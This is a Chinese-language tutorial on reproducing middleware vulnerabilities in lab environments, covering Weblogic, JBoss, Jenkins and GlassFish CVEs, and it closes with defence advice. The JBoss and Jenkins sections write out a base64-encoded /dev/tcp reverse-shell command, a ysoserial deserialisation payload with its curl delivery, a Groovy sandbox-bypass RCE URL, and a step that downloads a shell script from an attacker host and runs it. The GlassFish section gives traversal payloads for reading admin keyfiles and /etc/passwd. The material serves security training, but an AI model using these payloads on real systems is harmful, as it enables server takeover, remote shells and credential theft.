中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
字数 2196 2025-08-10 09:16:21
中间件安全漏洞复现教学文档:Weblogic、Jenkins、GlassFish
1. 中间件安全概述
1.1 常见中间件及框架列表
- IIS, Apache, Nginx, Tomcat, Docker
- Weblogic, JBoss, WebSphere
- Jenkins, GlassFish, Jira
- Struts2, Laravel, Solr, Shiro, Thinkphp, Spring, Flask, jQuery
1.2 常见中间件安全测试方向
- 配置不当:解析漏洞、弱口令
- 安全机制:特定安全漏洞
- 弱口令爆破攻击
- 框架特定安全漏洞
1.3 中间件安全测试流程
- 判断中间件信息(名称、版本、三方组件)
- 判断中间件问题(配置不当、公开漏洞)
- 判断中间件利用方式(弱口令、EXP、框架漏洞)
1.4 应用服务安全测试流程
- 判断服务开放情况(端口扫描、组合应用)
- 判断服务类型归属(数据库、文件传输、通讯等)
- 判断服务利用方式(特定漏洞、未授权、弱口令)
2. Weblogic安全漏洞复现
2.1 Weblogic简介
- Java应用服务器软件,Oracle公司出品
- 基于JAVAEE架构的中间件
- 默认端口:7001
2.2 常见漏洞列表
- CVE-2017-3506
- CVE-2018-2893
- CVE-2018-3245
- CVE-2018-2628(反序列化)
- CVE-2020-14882
- CVE-2021-2394(反序列化)
- CVE-2023-21839(反序列化)
2.3 CVE-2017-3506漏洞复现
复现步骤:
- 使用vulfocus搭建靶场环境
- 访问目标URL
- 使用现成工具检测漏洞
- 存在漏洞则直接执行命令
工具利用:
- 将目标URL放入工具中检测
- 存在漏洞可直接命令执行或上传文件
手工复现:
- 主要针对反序列化漏洞
- 需要构造特定的序列化payload
3. JBoss安全漏洞复现
3.1 JBoss简介
- J2EE开放源代码应用服务器
- 通常占用端口:1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093
3.2 常见安全问题
- CVE-2017-12149
- CVE-2017-7504
- 弱口令
- 未授权访问
3.3 CVE-2017-12149漏洞复现
漏洞原理:
- Java反序列化错误类型
- 存在于HttpInvoker组件的ReadOnlyAccessFilter过滤器中
- 未安全检查直接反序列化客户端数据流
复现步骤:
- 使用vulhub搭建靶场环境
- 准备反弹shell命令并base64编码
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1 base64编码后:c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE= - 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser - 发送curl请求
curl http://目标IP:8080/invoker/readonly --data-binary @poc.ser - 接收端开启监听
nc -lvvp 8888
3.4 CVE-2017-7504漏洞复现
与CVE-2017-12149区别:
- 请求地址不同:/jbossmq-httpil/HTTPServerILServlet
- 其余步骤相同
4. Jenkins安全漏洞复现
4.1 Jenkins简介
- 基于Java开发的持续集成工具
- 默认端口:8080
4.2 常见漏洞
- CVE-2017-1000353
- CVE-2018-1000861
4.3 CVE-2017-1000353漏洞复现
环境要求:
- JDK版本必须为jdk-8u291
复现步骤:
- 使用vulfocus或vulhub搭建靶场
- 生成payload
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt" - 执行exp
python exploit.py http://目标IP:8080/ jenkins_poc.ser - 验证是否成功创建文件
反弹shell:
- 准备base64编码的反弹shell命令
- 生成payload时替换为反弹shell命令
- 执行exp并监听端口
4.4 CVE-2018-1000861漏洞复现
复现步骤:
- 下载exp工具
- 直接执行命令
python2 exp.py http://目标IP:8080/ "touch /tmp/123.txt" - 进入靶场验证文件创建
手工测试POC:
http://目标IP:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
反弹shell进阶方法:
- 在攻击机创建包含反弹shell命令的cmd.txt
- 开启HTTP服务
python -m http.server 8080 - 使用exp下载文件
python2 exp.py 目标IP "curl -o /tmp/cmd.sh http://攻击IP:8080/cmd.txt" - 执行脚本
python2 exp.py 目标IP "bash /tmp/cmd.sh"
5. GlassFish安全漏洞复现
5.1 GlassFish简介
- 商业兼容的开源应用服务器
- 默认端口:8080(网站内容)、4848(管理中心)
5.2 CVE-2017-1000028漏洞复现
漏洞原理:
- Java将%c0%ae解析为\uC0AE,转义为.(点)
- 利用目录穿越实现任意文件读取
复现步骤:
- 使用vulhub搭建环境
- 访问管理界面(4848端口)
- 构造payload读取敏感文件
常用payload:
- 读取密码文件:
https://目标IP:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile - Linux下读取/etc/passwd:
https://目标IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd - Windows下读取win.ini:
http://目标IP:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
6. 总结与防护建议
6.1 漏洞共性
- 多数为反序列化漏洞
- 配置不当导致的安全问题
- 弱口令是常见入口
6.2 防护措施
- 及时更新补丁:关注厂商安全公告,及时应用补丁
- 禁用不必要的服务:关闭不需要的功能和端口
- 强化认证机制:使用强密码,启用多因素认证
- 网络隔离:将中间件置于DMZ区域,限制访问来源
- 安全配置:按照安全基线进行配置
- 日志监控:建立完善的日志监控机制
6.3 测试注意事项
- 获取合法授权后再进行测试
- 使用测试环境,避免影响生产系统
- 测试完成后恢复系统原状
- 妥善保管测试过程中获取的敏感信息
通过本文档的学习,您应该能够掌握常见中间件的安全漏洞原理及复现方法,在实际工作中有效识别和防范相关安全风险。